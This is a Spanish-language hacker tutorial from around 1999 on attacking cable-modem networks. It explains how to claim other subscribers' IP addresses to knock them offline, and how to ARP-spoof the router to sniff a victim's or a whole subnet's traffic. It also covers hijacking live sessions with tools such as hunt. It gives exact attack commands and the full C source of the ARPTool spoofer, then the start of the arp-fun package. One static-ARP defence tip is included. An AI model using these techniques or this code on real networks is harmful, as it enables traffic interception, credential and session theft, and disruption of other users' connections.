------------------------------------------------------
| |
| Jugando con el cable |
| |
------------------------------------------------------
.- Indice.
-------------
0.- Prorrogo.
1.- Obteniendo una ip valida en internet.
2.- Obteniendo mas de una ip valida en internet.
2.1.- En OpenBSD 2.5
3.- Jugando con el protocolo arp.
3.1.- Explicacion de los protocols arp y rarp.
4.- Sniffeando conexiones.
5.- Alternativa al ArpTool: Arp-Fun.
6.- Hijackeando conexiones.
7.- Notas finales.
8.- Sources.
9.- Despedidas.
-------------
0.- Prorrogo.
Buenas, este texto pretende aclarar un poco como funciona la tecnologia del
cable, y sobre todo como explotar sus vulnerabilidades. Esta enfocado mas que
nada al apartado practico, asi que no espereis mucha teoria aqui ;). Todos los
experimentos que se han realizado se han hecho sobre una especifica empresa de
internet por cable, por lo tanto no puedo asegurar que funcionen en otra compa-
ņia, aunque supongo que mas o menos funcionan todas igual, menos Menta que creo
que usa (o usaba) un proxy. Tambien son aplicables a todas las intranets que
funcionen bajo el protocolo ethernet. En fin, empecemos con el txt.
Como algunos sabreis y otros no, el cable-modem famoso tiene una entrada y una
salida. La entrada es un conector bnc para el cable coaxial, el mismo cable por
el que viene la seņal de television, y la salida es por medio de un conector
rj45, que se conecta por medio de cable trenzado a una tarjeta ethernet que
tengas instalada en el ordenata (el cable no va cruzado). Como habreis imagina-
do el modem se comunica por medio del protocolo ethernet, en realidad lo que
tenemos es muy parecido a una lan normal y corriente, a excepcion de que hay
ordenadores conectados de toda la ciudad, y unas cuantas cosas mas que veremos
mas adelante. Bien, como lo que tenemos es una lan conectada a internet, o sea,
una intranet, tiene mas o menos los mismos problemas que una red local, y como
el protocolo ethernet ya esta explotado hace mucho tiempo lo unico que vamos a
hacer nosotros es aprovechar esas debilidades }:).
1.- Obteniendo una ip valida en internet.
Aqui lo que hace la mayoria de la gente es poner a rular un cliente dhcp, el
cliente se comunica con el server dhcp, este le facilita toda la informacion
(ip, gateway, mask, etc), y el cliente lo hace todo automatico. El problema de
esto es que tu no puedes modificar nada, ya que va todo automatico. Entonces lo
que se puede hacer es meter tu todos los datos manualmente, es decir, direccion
ip, mask, broadcast y gateway a internet. Para conseguir todos estos datos pue-
des poner a rular primero el dhcp, apuntas los datos y luego los metes tu, con
una excepcion, la direccion ip, aqui lo normal seria meter la que te habia
asignado antes el server dhcp, pero puedes poner cualquier ip dentro del rango
valido, es decir si el rango valido es de 191.1.1.* a 191.1.10.* pues pudes po-
nerte la ip que quieras. No hace falta decir lo util que es esto para evitar
bans o glines indeseados :). Tambien es util para nukear a algun indeseado de
tu misma compaņia de cable, lo unico que tienes que hacer es cambiar tu ip por
la suya durante unos breves segundos, entonces a el le saldra un error de adap-
tador muy guapo y tendra que reiniciar para volver a tener conexion. Por
cierto que espero que no hagais mal uso de esto, los que tengan cable o esten
en una intranet mas o menos grande, ya que se puede armar un lio enorme :).
2.- Obteniendo mas de una ip valida en internet.
Sip, como habeis leido esto tambien es posible, como?, pues con aliasing, que
es una caracteristica del kernel para poder asignar mas de una ip a un mismo
interface, lo unico que hay que tener es el kernel compilado con soporte para
ip alias. Veamos un ejemplo con eth0, se supone que ya tienes asignada la ip,
la mask y el broadcast, pues lo que tenemos que crear ahora es un alias de
eth0, por ejemplo eth0:0. Para crear nada mas facil que "ifconfig eth0:0 ip
broadcast ipbc netmask m", ip es la ip que quieres tener (tiene que estar en
el rango valido), ipbc es la ip del broadcast y m es la mask. Despues de eso
ya tendras 2 ips validas en internet, ahora por ejemplo para entrar al irc con
la nueva ip lo que tienes que hacer es instalar un bouncer que tenga soporte
para vhost, pq en realidad lo que hicimos es un vhost. Lo defines bien, lo po-
nes rulando y ya entras al irc con la nueva ip :). Si quieres crear mas ips va-
lidas sigues el mismo proceso, pero con eth0:1, eth0:2, etc. Para dar de baja
una ip pones "ifconfig eth0:n down", cambiando la n por el numero del alias que
quieras borrar claro esta :).
2.1.- En OpenBSD 2.5 (ulandron)
Esto es un pequeņo anexo a la seccion anterior, ya que Posidon no ha tenido
la oportunidad de probarlo en un openbsd.
# ifconfig xl0 alias 192.168.1.1 netmask 255.255.255.255
Le aņado una mask de todo 1's porque si no en openbsd da el siguiente
error: ifconfig:SIOCAIFADDR: File exists.
El resto es muy similar a linux, aunque la sintaxis del comando route(8),
por ejemplo, cambia un poco.
3.- Jugando con el protocolo arp.
El protocolo arp (address resolution protocol) es el que se encarga de resolver
una direccion a una direccion ip, la direccion mac es la direccion fisica de la
tarjeta de red, y consta de 6 numeros en hexadecimal, tipo 00:00:11:1D:01:B4.
Esta direccion viene de fabrica con la tarjeta y es imposible cambiarla.. bue-
no, supongo que por medios electronicas se podra, pero vamos que no esta al
alcance de cualquiera. El protocolo rarp (reverse address resolution) es lo
contrario, se encarga de resolver direcciones macs a direcciones ip. Cuando un
ordenador hace una peticion para resolver una ip a una mac, lo que hace es man-
dar la peticion a la direccion broadcast, para que asi le llegue a todos los
ordenadores que forman la lan, luego el ordenador al que le corresponde esa ip
le manda un arp reply a la maquina que hizo la peticion con su direccion mac.
Esto es explicado brevemente, pero gracias a ulandron tenemos aqui una expli-
cacion mas detallada del funcionamiento de estos protolos :), aqui la teneis.
3.1- Explicacion de los protocols arp y rarp por ulandron.
ARP es un protocolo fundamental para el funcionamiento correcto de practica-
mente cualquier implementacion de TCP/IP. Es el encargado de "traducir" las
direcciones ip de 32 bits a las correspondientes direcciones de hardware sub-
yacentes. En ethernet & Token ring estas direcciones suelen tener 48 bits. La
traduccion inversa la hace el RARP o Reverse ARP. Esto podria esquematizarse
asi:
ARP
Direccion de -------> Direccion
internet de ethernet de
32 bits <------- 48 bits
RARP
Cuando un host Y quiere iniciar una conexion con otro X del que conoce la ip(X),tiene que efectuar una peticion arp (Arp request) a la broadcast de ese segmen-
to de red, FF:FF:FF:FF:FF:FF, pidiendo que el host con dicha ip responda con su
direccion ethernet (en nuestro ejemplo) de 48 bits.
Para entrar un poco mas en detalle veamos el formato de un paquete arp:
(Extraido del tcp/ip illustrated I, stevens)
-------------------------^------------------------------------
Mac | Mac | Tipo | Tipo | Tipo | Tam | Tam | Op | (Continua)
destino | fuente | Trama | Hardw | Prot | Hard | Prot | Op |
-------------------------^------------------------------------
6 6 2 2 2 1 1 2 (bytes)
--------------------------------------------
(Continuacion) | Mac | Ip | Mac | Ip |
| Emisor | Emisor | Destino | Destino |
--------------------------------------------
6 4 6 4 (bytes)
- Los 2 primeros campos indican la direccion ethernet fuente y destino. Una
trama cuya direccion de destino este compuesta por todo 1's se denomina broad-
cast y es entregada a todas las interfaces de una subred.
- El tipo de trama especifica el contenido del resto del paquete. Para un arp
toma el valor de 0x0806.
Estos 14 bytes forman la cabecera de una trama ethernet.
- Tipo de hardware especifica el medio sobre el que se trabaja. Toma el valor
de 1 para ethernet.
- Tipo de protocolo que es mapeado: 0x0800 para IP.
- Tamaņo de direccion de hardware y tamaņo de direccion de protocolo (que feo
queda esto) son 6 y 4 respectivamente, como es logico.
- Operacion especifica si el paquete es un ARP request (1), ARP reply (2), RARP
request (3), RARP reply (4).
- Los siguientes 4 campos son la direccion mac & ip fuente y la mac & ip del
destino. En un arp request la mac destino logicamente no esta rellenada porque
no se sabe.
Ya podemos ver con exactitud que ocurre cuando un host intenta efectuar una
conexion.
Manda un paquete arp a la broadcast, rellenando la ip de destino y dejando va-
cio el campo de la mac de destino. El host con esa ip recibe el paquete, ve que
es suyo, intercambia las direcciones eth & ip fuente y destino, rellena la
fuente nueva con su propia mac y responde con un arp reply al host que lo en-
vio, no a la broadcast.
.- Fin de explicacion :).
Bueno, y ahora que sabemos como funciona el protocol arp vamos a ver como pode-
mos explotar sus vulnerabilidades. Aunque la direccion mac de tu tarjeta de red
no se pueda cambiar, lo que si se puede hacer es spoofear, para ello nos basare-
mos en una utilidad llamada arptool, del que teneis el codigo fuente al final
del txt ( aunque tb se pueden usar otros programas, como el estupendo arp-fun de
ulandron ;) ).
Con esta utilidad podremos mandar paquetes arp request o paquetes arp reply, en
principio los que nos interesan son los reply. El funcionamiento explicado asi
por encima es el siguiente, nosotros lo que queremos hacer es que la makina con
direccion ip 111.111.111.111 se crea que la direccion mac de 111.111.111.222 es
00:00:2B:02:5B:02, cuando la verdadera mac de 111.111.111.222 es cualquier otra.
Lo primero que tenemos que hacer es averiguar la mac de 111.111.111.111 (joer,
esto se esta convirtiendo en un lio de numeros), para ello hacemos un ping a
111.111.111.111. Al hacerle el ping su direccion mac quedara guardada en nues-
tra cache, o sea que haciendo un arp -a saldra su citada mac. Despues de esto
es bien sencillo, usamos el arptool para bombardear sin parar a 111.111.111.111
con arps replys spoofeados para hacer creerle que nosotros somos 111.111.111.222
y que le estamos contestando a sus peticiones, y of course le mandamos los re-
plys como que nuestra mac es 00:00:2B:02:5B:02, habeis entendido algo? XD.
La forma practica de hacer esto seria:
"./arptool -s 00:00:2B:02:5B:02 macde111.111.111.111 111.111.111.222 111.111.
111.111 2 -c 1". El 2 seria para indicar que son arp replys, y no request, y
el -c 1 para que lo este enviando sin parar 1 vez por segundo.
Y bien, aqui entra otra forma de nuke, no se os ocurre cual? Pues es hacerle
creer a una determinada makina que la mac del router que usa para salir a in-
ternet es una que no exista, no pongo el ejemplo pq se supone que ya os lo sa-
beis currar solitos ;).
4.- Sniffeando conexiones.
Por suerte o por desgracia, no es posible hacer sniffing de la forma tradicio-
nal, es decir, poniendo la tarjeta ethernet en modo promiscuo y capturando to-
do. La razon es que el modem filtra los datos, por lo tanto solo te llegaran
los paquetes que vayan dirigidos a ti, hace mas o menos lo mismo que algunos
hubs con "inteligencia". Pero tranquilos, pq aunque no se pueda a la primera
trabajandolo un poco mas si que es posible. Para conseguir sniffear alguna
conexion lo que le tenemos que hacer creer a la makina objetivo es que la mac
del router es nuestra mac. Os recuerdo que la infrastructura de las redes que
forman las compaņias de cable no es mas que una lan conectada a internet por
un router, de tal forma que todos los paquetes que los usuarios manda a inter-
net pasan por ese router, y que ese router tiene una ip y una mac. Pues senci-
llamente lo que vamos a hacer nosotros es de router intermedio (por cierto que
para que esto rule tienes que tener compilado el kernel con soporte para ip
forward y tenerlo activado).
Veamos si lo explico mejor con un ejemplo, nosotros tenemos una maquina A, y
otro usuario objetivo tiene una maquina B, y el router es la maquina R, mA es
la mac de A, mB la de B y mR la mac del router. Pues bien, lo que haremos sera
usar el arptool para bombardear a B con arps replys modificados para hacerle
creer que la mac de R (mR) no es mR sino es mA, o sea nuestra mac, de tal for-
ma que ese usuario (B) mande todos los paquetes a nosotros, y nosotros haremos
de router intermedio, mandando todos los paquetes que B nos manda a R, y B no
sospechara nada porque todo se hara de forma transparente, y el ni perdera la
conexion ni nada. Y que conseguimos con esto, pues poder sniffear todas las
conexion que B haga hacia internet, con un sniffer normal, como sniffit. Por
supuesto se pueden hacer muchas mas cosas pero bueno, ahora estamos en el
apartado de sniffear conexion :). Y tambien podemos ir mas alla, que pasa si
queremos sniffear todas las conexiones de toda la subred? Pues muy sencillo,
configuramos el arptool para bombardear toda la subred con arps replys modifi-
cados para que mR parezca mA. Para hacer esto mandamos los arps a la direccion
de broadcast, y en la direccion mac de destino ponemos FF:FF:FF:FF:FF:FF, que
es la mac de la direccion de broadcast, y ya esta, a poner el sniffer rulando
a todo trapo.
Nota: Os recomiendo que no andes jugando con esto porque os podria caer un
puro considerable, a parte de que os pueden pillar facilmente, ya que vuestra
mac estara a la vista de cualquiera, y con la mac ya pueden identificar vuestro
modem.
5.- Alternativa al ArpTool: Arp-Fun. (ulandron)
Arp Fun es un programa muy similar al arptool, que en un principio fue
desarrollado para ser usado solamente en el contexto de este texto, y para
asentar mis conocimientos con las libnet. Pero una vez acabada la parte
basica, y viendo lo facil que es programar con libnet decidi aņadirle mas
funciones y en eso estoy. En el momento de escribir este texto voy por la
v0.2, y estoy trabajando en varias mejoras. Mi objetivo principal es
incorporar toda la funcionalidad del arptool, con la ventaja de ser
portable a numerosas plataformas (todas en las que compila libnet).
Del arptool original solo falta la opcion -m (network map mode).
Su uso es sencillo e intuitivo. Requiere un minimo de 1 parametro. -d IP.
En algunos casos el programa no puede determinar automaticamente la mac de
destino. En ese caso habra que especificarla con la opcion -m. Con esto
mandaremos un arp reply por la primera interfaz disponible que no sea la
loopback, con nuestra mac & ip verdadera de origen. Para aplicar la
teoria de este texto, y hacernos pasar por el router tendremos que
aņadirle un parametro mas: -s ip_del_router. Todo lo demas son opciones
mas o menos utiles, como la posibilidad de establecer un intervalo entre
envio de paquetes, el numero de paquetes a enviar, mayor detalle, etc etc.
Un -c 20 -x 300 por ejemplo envia un paquete cada 5 minutos durante 1
hora, con lo que podremos minimizar el efecto que tendran los arp's
verdaderos del router sobre el host objetivo. En un futuro me gustaria
aņadir un sniffer que capturara los arps verdaderos de la red e
inmediatamente respondiera con uno falso. Para la v0.3 :)
Me gustaria que lo probarais en diferentes arquitecturas y me comentarais
los resultados obtenidos. Por ahora lo he compilado en un 2.3.15, 2.2.12 y
en la ultima version del OpenBSD, 2.5. La ultima version estara disponible en
http://www.undersec.com/members/ulandron/index.shtml.
La v0.2 esta aņadida al final del texto, se puede extraer con el tipico
"extract" de la phrack. Creara una serie de archivos en el directorio
arp-fun. Recomiendo leer el readme, editar el Makefile por si hace falta,
make, make install.
Esta version no incorpora las librerias necesarias para compilarlo, dado
que no puedo meter los 350 k's que ocupa en total en este texto. Para una
version completa recomiendo la descarga de la ultima version en la url
mencionada 9 lineas mas arriba.
Espero que sea util ;)
6.- Hijackeando conexiones.
Esta parte tambien esta entretenida, se basa en "robar" conexiones activas, me-
diante tecnicas bastante complicadillas basadas en averiguaciones de los nu-
meros de secuencia, etc. Como ya hay amplia informacion de ip hijack por la red
no voy a ponerme a explicar como funciona, te remito por ejemplo a set19 en el
que hay un articulo bastante aclarador. Ahora pasemos a la parte practica.
Como programa para hijackear normalmente usaremos el hunt, que puedes conse-
guirlo en http://hello.to/hacker_novatos (seccion misc), ya que es mas
vistoso que el tipico hijack.c y a parte trae mas opciones, como por ejemplo
scanear una subred para detectar sniffers, "ver" conexiones, etc.
Lo primero que haremos sera lo explicado en el apartado 4 para sniffear cone-
xiones, es decir, hacer creer al host objetivo que nosotros somos el router.
Una vez que ya estemos filtrando todas las conexiones del host, lo unico que
tenemos que hacer es ejecutar el hunt y esperar, cuando tengamos una conexion
activa el -> de la linea de comandos se convertira en *>. Despues solo tenemos
que movernos por los menus que trae, como por ejemplo watch connections (para
ver los datos que se mandan cliente-servidor), reset connections (para mandar
a tomar viento la conexion), etc..
El unico problema es que el hunt solo escucha en unos determinados puertos,
como el 21, 23, 110, etc.., si quieres hijackear otra conexion de otro puerto
no podras, tendras que usar el hijack. Para usar el hijack tienes que indicarle
la direccion ip de la maquina cliente, el puerto que esta usando el cliente
(lo sacas sniffeando) y la direccion ip de la maquina servidor, una vez ejecu-
tado se hace todo de forma transparente y si todo va bien ya tendrias la shell,
el ftp o lo que fuera ;). El codigo fuente del hijack lo podeis conseguir en
http://hello.to/hacker_novatos tambien, seccion misc.
7.- Notas finales.
Lo primero decir que espero que no hagais mal uso de esto ;). Lo segundo es
una forma de protegerse ante el arp spoof. Como sabreis el arptool lo que ha-
cia era "floodear" un host con arps replys, luego el host atacado guardaba la
mac modificada en la cache y se lo creia todo. Por cierto que todos los orde-
nadores tienen una cache para las macs que vayan resolviendo, tipo nameserver
con las ips. Pues bien, lo que haremos sera modificar nuestra cache para que
la mac del router tenga el flag PERM, es decir, permanente. De esta forma nues-
tra maquina nunca hara una peticion para resolver la ip del router, siempre la
cogera de la cache y no habra forma de que alguien se haga pasar por el router
mandandonos arps replys (pq nuestra maquina los ignorara). Para hacer esto lo
unico que haremos sera meter la mac del router manualmente con el comando arp,
de la siguiente forma: "arp -s ipdelrouter macdelrouter". Cada vez que reini-
ciemos el ordenata el flag PERM se perdera por lo que seria conveniente meter
esa orden en el rc.local. Por supuesto como el router cambie de mac dejara de
rularnos internet, pero para que le cambiara la mac tendrian que cambiarle la
tarjeta de red, y eso es una cosa poco probable.
8.- Sources.
Arptool:
<++> Cable/arptool.c !21ea3fd4
/*
* ARPTool v0.1, (c) Cristiano Lincoln Mattos, 1999 - <lincoln@hotlink.com.br>
*
* - Compiled and tested on Linux 2.0.33, 2.0.35, 2.0.36, libc5 & glibc.
* Will port to Solaris 2.5.1 as soon as i have time.
* - For usage, run it without arguments.
* - If you dont know what this is for, or what you can do with it,
* read yuri volobuev's excellent bugtraq post about ARP spoofing
* (available from the bugtraq archives).
* - The netmap results depend on the network latency.. try adjusting the
* usleep() delay, if you think it's too small/big.
* - The latest version will be always at
* http://www.hotlink.com.br/users/lincoln/arptool
* - Some code borrowed from neped (apostols.org), thanks.
*
* #include <stddisclaimer.h>
*
* CHANGELOG:
* 09/12/98 - General code cleanup.
* 07/12/98 - Removed the option for hiding in the process list, and
* double mode: didn't work as expected, stupid oversight.
* 29/12/98 - Better display of MAC's with more than one IP (proxy
* arp or virtual interfaces).
* 28/12/98 - Added check for arp reply being to source ip (netmap).
*/
#include <stdio.h>
#include <stdlib.h>
#include <linux/if.h>
#include <linux/sockios.h>
#include <linux/in.h>
#include <linux/if_ether.h>
#include <unistd.h>
#include <fcntl.h>
#define ARP_ETHER 1
#define ARP_REQUEST 1
#define ARP_REPLY 2
/* Structures */
struct pkt_struct {
unsigned char eth_dst[6];
unsigned char eth_src[6];
unsigned short eth_proto;
unsigned short int arp_hw_type;
unsigned short int arp_proto;
unsigned char arp_hw_len;
unsigned char arp_proto_len; // proto is IP.
unsigned short arp_oper;
unsigned char arp_hw_src[6];
unsigned char arp_ip_src[4];
unsigned char arp_hw_dst[6];
unsigned char arp_ip_dst[4];
};
struct spoof_struct {
unsigned char hw_src[6];
unsigned char hw_dst[6];
unsigned long int ip_src;
unsigned long int ip_dst;
unsigned short op;
};
/* List structures */
struct iplist_struct {
unsigned long int ip;
struct iplist_struct * next;
};
struct list_struct {
unsigned char hw[ETH_ALEN];
struct iplist_struct * iplist;
struct iplist_struct * lastip;
struct list_struct * next;
} * head = NULL, * tail = NULL;
/* Functions */
char * hwaddr_to_str (unsigned char * str);
unsigned char * str_to_hwaddr (char * str);
unsigned int hexstr_to_int (char *cptr);
void netmap (int fd, unsigned long int start_ip);
void usage (char * av, int mode);
void add_to_list (unsigned long int ip, unsigned char * hw);
void show_list ();
/* Global variables */
unsigned long netmask, broadcast; /* struct in_addr */
unsigned char hwaddr[ETH_ALEN];
struct sockaddr sock;
int verbose = 0;
void sendarp (int fd, unsigned char * h_source, unsigned char * h_dest, \
unsigned char * arp_src, unsigned char * arp_dst, \
unsigned long int ip_source, unsigned long int ip_dest, unsigned char op) {
struct pkt_struct pkt;
// Ethernet header.
memcpy(&pkt.eth_dst,h_dest,ETH_ALEN);
memcpy(&pkt.eth_src,h_source,ETH_ALEN);
pkt.eth_proto = htons(ETH_P_ARP);
// ARP header.
pkt.arp_hw_type = htons(ARP_ETHER);
pkt.arp_proto = htons(ETH_P_IP);
pkt.arp_hw_len = ETH_ALEN;
pkt.arp_proto_len = 4;
pkt.arp_oper = htons(op);
if (arp_src==0) bzero(&pkt.arp_hw_src,ETH_ALEN);
else memcpy(&pkt.arp_hw_src,arp_src,ETH_ALEN);
if (arp_dst==0) bzero(&pkt.arp_hw_dst,ETH_ALEN);
else memcpy(&pkt.arp_hw_dst,arp_dst,ETH_ALEN);
memcpy(&pkt.arp_ip_src,&ip_source,4);
memcpy(&pkt.arp_ip_dst,&ip_dest,4);
if ( (sendto(fd,&pkt,sizeof(pkt),0,&sock,sizeof(sock))) < 0) perror("Error sending ARP");
if (verbose) {
char ips[16], hws[18];
strncpy(ips,inet_ntoa(ip_source),16);
strncpy(hws,hwaddr_to_str(pkt.eth_src),18);
printf(" - Sending packet: Ether src: %s - Ether dst: %s \n",hws,hwaddr_to_str(pkt.eth_dst));
strncpy(hws,hwaddr_to_str(pkt.arp_hw_src),18);
printf(" ARP hw src: %s - ARP hw dst: %s\n",hws,hwaddr_to_str(pkt.arp_hw_dst));
printf(" ARP ip src: %s - ARP ip dst: %s - ARP op: ",ips,inet_ntoa(ip_dest));
if (op==1) printf("%s\n","Request");
else printf("%s\n","Reply");
}
}
void netmap (int fd, unsigned long int start_ip) {
unsigned long int ip, ip_s;
struct pkt_struct * pkt;
int i;
ip_s = start_ip;
ip = ip_s & netmask;
i = fcntl(fd,F_GETFL);
if ((fcntl(fd,F_SETFL, i | O_NONBLOCK))<0) {
perror("FCNTL"); exit (1);
}
pkt = (struct pkt_struct *) malloc(sizeof(struct pkt_struct));
bzero(pkt,sizeof(struct pkt_struct));
printf(" - Mapping network... \n");
while (ip < broadcast) {
unsigned long int iptmp;
unsigned char hwa[ETH_ALEN];
ip = ntohl(ip);
ip = htonl(++ip);
sendarp(fd,hwaddr,str_to_hwaddr("FF:FF:FF:FF:FF:FF"),hwaddr,0,ip_s,ip,ARP_REQUEST);
usleep(1000);
i = sizeof(sock);
bzero(pkt,sizeof(struct pkt_struct));
if ((recvfrom(fd,pkt,sizeof(struct pkt_struct),0,&sock,&i)) < 0) continue;
memcpy(&iptmp,pkt->arp_ip_dst,4);
if ((iptmp!=ip_s) || (ntohs(pkt->arp_oper)!=ARP_REPLY)) continue;
memcpy(&iptmp,pkt->arp_ip_src,4);
add_to_list(iptmp,pkt->eth_src);
}
show_list();
free (pkt);
}
void main (int argc, char ** argv) {
struct ifreq ifr;
struct sockaddr_in sin;
struct spoof_struct sp;
unsigned long int ip;
int fd, ret;
int i = 0, map = 0, spoof = 0, interval = 0;
char * dev;
// Parsing the arguments.
if (argc < 2) { usage(argv[0],0); exit(1); }
usage(argv[0],1);
dev = (char *) malloc(6); strncpy(dev,"eth0",5);
while ((i = getopt(argc, argv, "dc:vmi:s:")) != EOF) {
switch (i) {
case 'm': map = 1; continue;
case 'v': verbose = 1; continue;
case 'i': dev = optarg; continue;
case 'c': interval = atoi(optarg); continue;
case 's': spoof = optind-1; continue;
case '?': exit(1);
default: usage(argv[0],0); exit;
}
}
if ((map) && (spoof)) {
printf(" Error: cannot run in map mode (-m) and spoof mode (-s) simultaneously.\n");
exit(1);
}
if ((!map) && (!spoof)) {
printf(" Error: map mode (-m) or spoof mode (-s) must be specified.\n");
exit(1);
}
if (spoof) {
unsigned long int ips;
int origspoof = spoof;
spoof = optind;
if ((!argv[origspoof]) || (!argv[spoof]) || (!argv[spoof+1]) || (!argv[spoof+2]) || (!argv[spoof+3])) {
printf(" Error: spoof (-s) requires five arguments: \n");
exit(1);
}
ips = atoi(argv[spoof+3]);
if ( (ips!=1) && (ips!=2) ) {
printf(" Erro: wrong arp operation. Must be 1 for request or 2 for reply. \n");
exit(1);
}
memcpy(&sp.hw_src,str_to_hwaddr(argv[origspoof]),ETH_ALEN);
memcpy(&sp.hw_dst,str_to_hwaddr(argv[spoof++]),ETH_ALEN);
ips= inet_addr(argv[spoof++]);
memcpy(&sp.ip_src,&ips,4);
ips = inet_addr(argv[spoof++]);
memcpy(&sp.ip_dst,&ips,4);
ips = atoi(argv[spoof]);
memcpy(&sp.op,&ips,1);
}
// Setting up the sockets, interface, and getting data.
strcpy(sock.sa_data,dev);
sock.sa_family = AF_INET;
fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP));
if (fd==-1) {
perror("Socket: "); exit (1);
}
// HW Addr.
strcpy(ifr.ifr_name,dev);
ret = ioctl(fd,SIOCGIFHWADDR,&ifr);
if (ret==-1) {
perror("Error getting HW Address"); exit (1);
}
memcpy(hwaddr,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
// IP.
ret = ioctl(fd,SIOCGIFADDR,&ifr);
if (ret==-1) {
perror("Error getting IP Address"); exit (1);
}
memcpy(&sin,&ifr.ifr_addr,sizeof(struct sockaddr_in));
ip = sin.sin_addr.s_addr;
// Netmask.
ret = ioctl(fd,SIOCGIFNETMASK,&ifr);
if (ret==-1) {
perror("Error getting netmask"); exit (1);
}
memcpy(&sin,&ifr.ifr_netmask,sizeof(struct sockaddr_in));
netmask = sin.sin_addr.s_addr;
// netmask = 16777215; // 24 bit Netmask
// Broadcast.
ret = ioctl(fd,SIOCGIFBRDADDR,&ifr);
if (ret==-1) {
perror("Error getting broadcast"); exit (1);
}
memcpy(&sin,&ifr.ifr_broadaddr,sizeof(struct sockaddr_in));
broadcast = sin.sin_addr.s_addr;
printf(" - Hardware addr : %s\n",hwaddr_to_str(hwaddr));
printf(" - Interface IP: %s (%s)\n",inet_ntoa(ip),dev);
printf(" - Netmask: %s\n",inet_ntoa(netmask));
printf(" - Brodcast: %s\n",inet_ntoa(broadcast));
while (1) {
if (map) netmap (fd,ip);
if (spoof) {
sendarp(fd,sp.hw_src,sp.hw_dst,sp.hw_src,sp.hw_dst,sp.ip_src,sp.ip_dst,sp.op);
}
if (interval) sleep(interval);
else break;
}
}
char * hwaddr_to_str (unsigned char * str) {
static char tmp[20];
sprintf(tmp,"%02X:%02X:%02X:%02X:%02X:%02X",str[0],str[1],str[2],str[3],str[4],str[5]);
return tmp;
}
unsigned int hexstr_to_int(char *cptr) {
unsigned int i, j = 0;
while (cptr && *cptr && isxdigit(*cptr)) {
i = *cptr++ - '0';
if (9 < i) i -= 7;
j <<= 4;
j |= (i & 0x0f);
}
return(j);
}
unsigned char * str_to_hwaddr (char * str) {
unsigned char tmp[2], strbuf[17], t[2];
static unsigned char * buf, * tt;
int e, i;
buf = (unsigned char *) malloc(6);
bzero(t,2); bzero(tmp,2); bzero(strbuf,17); bzero(buf,6);
strncpy(strbuf,str,17); strbuf[17]='\0';
tt = buf;
e = 0;
for (i=0; i < strlen(strbuf); i++) {
if ((strbuf[i]==':') && (e==0)) continue;
tmp[e] = strbuf[i]; e++;
if (e==2) {
unsigned int a;
a = hexstr_to_int(tmp);
memcpy(tt,&a,1); tt++;
bzero(tmp,2); e = 0;
}
}
return buf;
}
void usage (char * av, int mode) {
printf(" ARPTool v0.1, (c) Cristiano Lincoln Mattos, 1999. <lincoln@hotlink.com.br> \n");
if (!mode) {
printf(" Sintax: %s [-i interface] [-m] [-c] [-s hwsrc hwdest ipsrc ipdst op]\n",av);
printf(" -i interface: use this interface. If ommited, default to eth0\n");
printf(" -m: network map mode. Will identify all hosts on the same \n cable segment. \n");
printf(" -s src_hwaddress dst_hwaddress src_ipaddress dst_ipaddress operation:\n");
printf(" send arbitrary ARP packets. The hardware address must be \n specified in the usual form, i.e. 00:00:FD:FF:1E:C1.\n Operation is 1 for ARP request, 2 for ARP reply. \n");
printf(" -c interval: continuous mode. Will keep sending the specified \n packets every interval seconds (requires -s or -m).\n");
exit(1);
}
}
void show_list () {
struct list_struct * tmp, * tmp2;
tmp = head;
while (tmp!=NULL) {
struct iplist_struct * iptmp;
iptmp = tmp->iplist;
printf(" -- HW Address: %s",hwaddr_to_str(tmp->hw));
if (iptmp->next) printf(" - Several IP's: probably router with proxy arp, or virtual interfaces.\n");
while (iptmp!=NULL) {
printf(" IP: %s\n",inet_ntoa(iptmp->ip));
iptmp = iptmp->next;
}
free(iptmp); tmp2 = tmp->next;
free(tmp); tmp = tmp2;
}
return;
}
void add_to_list (unsigned long int ip, unsigned char * hw) {
struct list_struct * tmp;
struct iplist_struct * iptmp;
tmp = head;
while (tmp) {
if ((hw[0]==tmp->hw[0]) && (hw[1]==tmp->hw[1]) && (hw[2]==tmp->hw[2]) && (hw[3]==tmp->hw[3]) &&\
(hw[4]==tmp->hw[4]) && (hw[5]==tmp->hw[5])) break;
tmp = tmp->next;
}
if (!tmp) { // If it's the first HW entry, or did not find HW in list, create
if ((tmp = (struct list_struct *) malloc(sizeof(struct list_struct))) == NULL) {
printf("\n malloc error. \n"); exit (1);
}
if ((iptmp = (struct iplist_struct *) malloc(sizeof(struct iplist_struct))) == NULL) {
printf("\n malloc error. \n"); exit (1);
}
iptmp->ip = ip;
iptmp->next = NULL;
tmp->iplist = iptmp;
tmp->lastip = iptmp;
tmp->next = NULL;
memcpy(tmp->hw,hw,ETH_ALEN);
if (tail) {
tail->next = tmp;
tail = tmp;
}
} else { // Found the HW entry in the list, just add the IP.
if ((iptmp = (struct iplist_struct *) malloc(sizeof(struct iplist_struct))) == NULL) {
printf("\n malloc error. \n"); exit (1);
}
iptmp->ip = ip;
iptmp->next = NULL;
tmp->lastip->next = iptmp;
tmp->lastip = iptmp;
}
if (!head) head = tail = tmp;
}
<-->
Arp-fun v0.2
<++> arp-fun/CHANGES !113c5647
0.2 -- 20/09/1999
- Got it, automatic remote mac resolution. Found get_mac.c in libnet's
sources.
- I'm a bit confused at the moment, the main goals are reached, now it
only can get better.
0.15 -- 19/09/1999
- Included Libnet-0.99g and libpcap-0.4 in the tarball
- Got about 20 new compilation errors, but it works !!!
- Code is getting a little bit too crappy, think i'll fix things up for
0.16
0.14 -- 17/09/1999
- Added a new function: ipaddr_to_str (unsigned char * str);
- Cleaned up cap.c
- Added references to libnet / libpcap (README)
0.13 -- 16/09/1999
- Started working on remote mac resolution (pcap)
- Code got a little bit clearer; 3 source files and 1 header file
- Code got much uglier: many redundant functions.
0.12 -- 14/09/1999
- Little bit of code cleanup. 2 source files.
0.11 -- 13/09/1999
- Added UID check
- Added automatic Interface selection
0.1 -- 13/09/1999
- First non public release \
Primera distribucion no-publica (no mucho al menos )
<-->
<++> arp-fun/COPYING !ea18d873
Arp Fun
Copyright (c) 1999 ulandron <ulandron@undersec.com>
http://www.undersec.com/
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
